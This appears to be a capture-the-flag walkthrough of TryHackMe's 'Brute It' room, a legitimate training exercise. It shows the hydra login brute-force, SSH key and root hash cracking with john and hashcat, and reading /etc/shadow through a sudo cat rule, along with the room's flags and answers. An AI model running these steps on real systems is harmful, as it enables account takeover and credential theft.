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TryHackMe/Brute_it.md
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TryHackMe/Brute_it.md
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# TryHackMe-Brute It
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## NMAP
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```
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Nmap scan report for 10.10.203.79
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Host is up (0.18s latency).
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Not shown: 998 closed ports
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
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| 256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
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|_ 256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
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80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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From the nmap result we can conclude that
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#1 Search for open ports using nmap.How many ports are open?
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`2` ports
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#2 What version of SSH is running?
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`OpenSSH 7.6p1`
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#3 What version of Apache is running?
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`2.4.29`
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#4 Which Linux distribution is running?
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`Ubuntu`
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## Gobuster
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<img src="https://imgur.com/XWP9r9A.png"/>
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#5 Search for hidden directories on web server.What is the hidden directory?
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`/admin`
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## PORT 80
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We know that there is a `admin` page so lets just visit it to see what's there
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<img src="https://imgur.com/hFyCD3E.png"/>
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It's good to look at the source of the page
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<img src="https://imgur.com/bq7jl1R.png"/>
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So username is `admin` for this login page
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## Hydra
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```
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root@kali:~/TryHackMe/Easy/Brute It# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.203.79 http-post-form '/admin/:user=^USER^&pass=^PASS^
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&Login=Login:Username or password invalid'
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Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (thi
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s is non-binding, these *** ignore laws and ethics anyway).
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-07 01:31:15
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[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
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[DATA] attacking http-post-form://10.10.203.79:80/admin/:user=^USER^&pass=^PASS^&Login=Login:Username or password invalid
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[80][http-post-form] host: 10.10.203.79 login: admin password: xavier
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```
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<img src="https://imgur.com/kh7WBy4.png"/>
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Here you'll get the `web flag` and `rsa` private key which is `john`'s ssh private key
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```
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root@kali:~/TryHackMe/Easy/Brute It# ssh john@10.10.203.79 -i id_rsa
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load pubkey "id_rsa": invalid format
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The authenticity of host '10.10.203.79 (10.10.203.79)' can't be established.
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ECDSA key fingerprint is SHA256:6/bVnMDQ46C+aRgroR5KUwqKM6J9jAfSYFMQIOKckug.
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Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
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Warning: Permanently added '10.10.203.79' (ECDSA) to the list of known hosts.
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Enter passphrase for key 'id_rsa':
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```
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Here problem is that they key is password protected so we need to crack it but before cracking it with `johntheripper` we need to have it's hash so let's do that
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<img src="https://imgur.com/5KQc0lP.png"/>
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Now we got the hash , lets crack this now !
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```
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root@kali:~/TryHackMe/Easy/Brute It# john --wordlist=/usr/share/wordlists/rockyou.txt hash
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Using default input encoding: UTF-8
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Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
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Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
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Cost 2 (iteration count) is 1 for all loaded hashes
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Will run 4 OpenMP threads
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Note: This format may emit false positives, so it will keep trying even after
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finding a possible candidate.
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Press 'q' or Ctrl-C to abort, almost any other key for status
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rockinroll (id_rsa)
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1g 0:00:00:01 19.56% (ETA: 01:37:16) 0.9345g/s 2821Kp/s 2821Kc/s 2821KC/s ty6868..ty5re
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Warning: Only 2 candidates left, minimum 4 needed for performance.
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1g 0:00:00:04 DONE (2020-11-07 01:37) 0.2145g/s 3077Kp/s 3077Kc/s 3077KC/sa6_123..*7¡Vamos!
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Session completed
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```
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And we got the passpharse of `id_rsa`
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<img src="https://imgur.com/mPVDIfB.png"/>
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And we are logged in as `john`
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```
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john@bruteit:~$ ls -al
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total 40
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drwxr-xr-x 5 john john 4096 Sep 30 14:11 .
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drwxr-xr-x 4 root root 4096 Aug 28 14:47 ..
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-rw------- 1 john john 394 Sep 30 14:11 .bash_history
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-rw-r--r-- 1 john john 220 Aug 16 18:14 .bash_logout
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-rw-r--r-- 1 john john 3771 Aug 16 18:14 .bashrc
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drwx------ 2 john john 4096 Aug 16 20:25 .cache
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drwx------ 3 john john 4096 Aug 16 20:25 .gnupg
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-rw-r--r-- 1 john john 807 Aug 16 18:14 .profile
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drwx------ 2 john john 4096 Aug 16 20:25 .ssh
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-rw-r--r-- 1 john john 0 Aug 16 19:04 .sudo_as_admin_successful
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-rw-r--r-- 1 root root 33 Aug 16 18:56 user.txt
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john@bruteit:~$ cat user.txt
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THM{a_password_is_not_a_barrier}
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john@bruteit:~$ cd /home
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```
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## Privilege Escalation
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Now we can run `sudo -l` to check if the user can run any commands as root
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```
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john@bruteit:/home$ sudo -l
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Matching Defaults entries for john on bruteit:
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env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
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User john may run the following commands on bruteit:
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(root) NOPASSWD: /bin/cat
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```
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As you can see we can read any file by issuing command `cat` as `sudo`
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```
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john@bruteit:/home$ sudo /bin/cat /root/root.txt
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THM{pr1v1l3g3_3sc4l4t10n}
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```
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Now since we can read any files why not read `/etc/shadow` and crack root's hash in order to privesc
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<img src="https://imgur.com/wyZbK6L.png"/>
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```
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root@kali:~/TryHackMe/Easy/Brute It# hashcat -a 0 -m 1800 --user root_hash /usr/share/wordlists/rockyou.txt
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```
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In an instant we get
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```
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Host memory required for this attack: 65 MB
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Dictionary cache hit:
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* Filename..: /usr/share/wordlists/rockyou.txt
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* Passwords.: 14344385
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* Bytes.....: 139921507
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* Keyspace..: 14344385
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$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:football
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Session..........: hashcat
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Status...........: Cracked
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Hash.Name........: sha512crypt $6$, SHA512 (Unix)
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Hash.Target......: $6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ...XEVgL.
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Time.Started.....: Sat Nov 7 01:44:41 2020 (0 secs)
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Time.Estimated...: Sat Nov 7 01:44:41 2020 (0 secs)
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Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
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Guess.Queue......: 1/1 (100.00%)
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Speed.#1.........: 701 H/s (7.81ms) @ Accel:32 Loops:256 Thr:1 Vec:4
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Recovered........: 1/1 (100.00%) Digests
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Progress.........: 128/14344385 (0.00%)
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Rejected.........: 0/128 (0.00%)
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Restore.Point....: 0/14344385 (0.00%)
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Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-5000
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Candidates.#1....: 123456 -> diamond
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```
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It is a lot easy to use `johntheripper` because we only need to specify one or two arguments
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```
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root@kali:~/TryHackMe/Easy/Brute It# john root_hash --wordlist=/usr/share/wordlists/rockyou.txt
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Using default input encoding: UTF-8
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Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
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Cost 1 (iteration count) is 5000 for all loaded hashes
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Will run 4 OpenMP threads
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Press 'q' or Ctrl-C to abort, almost any other key for status
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football (root)
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1g 0:00:00:00 DONE (2020-11-07 01:45) 2.380g/s 1219p/s 1219c/s 1219C/s 123456..letmein
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Use the "--show" option to display all of the cracked passwords reliably
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Session completed
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root@kali:~/TryHackMe/Easy/Brute It#
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```
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But still both of them have their own pros and cons , now we can just go over to target machine do `su root` and the password and we got root !
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